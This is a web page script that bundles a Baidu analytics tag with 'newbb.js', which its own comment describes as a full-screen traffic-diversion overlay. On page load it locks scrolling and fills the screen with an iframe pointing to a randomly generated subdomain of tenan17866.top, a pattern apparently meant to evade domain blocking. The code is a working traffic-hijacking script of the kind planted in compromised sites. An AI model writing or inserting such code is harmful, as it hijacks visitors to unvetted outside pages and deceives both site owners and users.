var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?75b6861c5bf6bd6383a889032238b910";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

/*
 * newbb.js — 精简全屏引流弹层
 * 只支持全屏 iframe 模式，自动生成随机子域并展示
 */

(function () {
  var state = {
    backdrop: null,
    modal: null,
    shown: false
  };

  function injectStyles() {
    if (document.getElementById('newbb-style')) return;
    var css = [
      '.newbb-backdrop{position:fixed;inset:0;background:rgba(0,0,0,0.7);z-index:9999;display:none;align-items:center;justify-content:center}',
      '.newbb-modal{position:relative;width:100vw;height:100vh;background:#fff;overflow:hidden}',
      '.newbb-close{position:absolute;top:12px;right:12px;width:40px;height:40px;display:flex;align-items:center;justify-content:center;background:linear-gradient(135deg,#2f67c8,#1e4fa2);border:none;border-radius:50%;font-size:26px;line-height:1;color:#fff;cursor:pointer;box-shadow:0 4px 12px rgba(0,0,0,.25);z-index:2}',
      '.newbb-close:hover{filter:brightness(1.06)}',
      '.newbb-close:active{transform:scale(.98)}',
      '.newbb-iframe{width:100vw;height:100vh;border:0;display:block}'
    ].join('');
    var style = document.createElement('style');
    style.id = 'newbb-style';
    style.appendChild(document.createTextNode(css));
    document.head.appendChild(style);
  }

  function buildDOM() {
    injectStyles();
    
    var backdrop = document.createElement('div');
    backdrop.className = 'newbb-backdrop';
    
    var modal = document.createElement('div');
    modal.className = 'newbb-modal';
    
    var closeBtn = document.createElement('button');
    closeBtn.className = 'newbb-close';
    closeBtn.innerHTML = '×';
    closeBtn.onclick = hide;
    
    modal.appendChild(closeBtn);
    backdrop.appendChild(modal);
    document.body.appendChild(backdrop);
    
    // 事件绑定
    backdrop.onclick = function(e) {
      if (e.target === backdrop) hide();
    };
    document.onkeydown = function(e) {
      if (e.key === 'Escape') hide();
    };
    
    state.backdrop = backdrop;
    state.modal = modal;
  }

  function show(url) {
    if (!state.backdrop) buildDOM();
    if (state.shown) return;
    
    // 禁用页面滚动
    document.documentElement.style.overflow = 'hidden';
    document.body.style.overflow = 'hidden';
    
    // 创建 iframe
    var iframe = document.createElement('iframe');
    iframe.className = 'newbb-iframe';
    iframe.src = url;
    
    // 清空并添加 iframe（保留关闭按钮）
    while (state.modal.children.length > 1) {
      state.modal.removeChild(state.modal.lastChild);
    }
    state.modal.appendChild(iframe);
    
    state.backdrop.style.display = 'flex';
    state.shown = true;
  }

  function hide() {
    if (!state.backdrop || !state.shown) return;
    state.backdrop.style.display = 'none';
    // 恢复页面滚动
    document.documentElement.style.overflow = '';
    document.body.style.overflow = '';
    state.shown = false;
  }

  function randToken(n) {
    n = n || 6;
    var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    var result = '';
    for (var i = 0; i < n; i++) {
      result += chars.charAt(Math.floor(Math.random() * chars.length));
    }
    return result;
  }

  // 全局 API
  window.NewbbLead = {
    show: show,
    hide: hide,
    randToken: randToken
  };

  // 自动运行配置
  var MAIN_DOMAIN = 'tenan17866.top';
  var ENABLE_DISPLAY = true; // 设置为 false 可在本地调试时禁用弹窗显示
  
  if (MAIN_DOMAIN && ENABLE_DISPLAY) {
    var autoShow = function() {
      var url = 'https://' + randToken(6) + '.' + MAIN_DOMAIN;
      show(url);
    };
    
    if (document.readyState === 'loading') {
      document.addEventListener('DOMContentLoaded', autoShow);
    } else {
      autoShow();
    }
  }
})();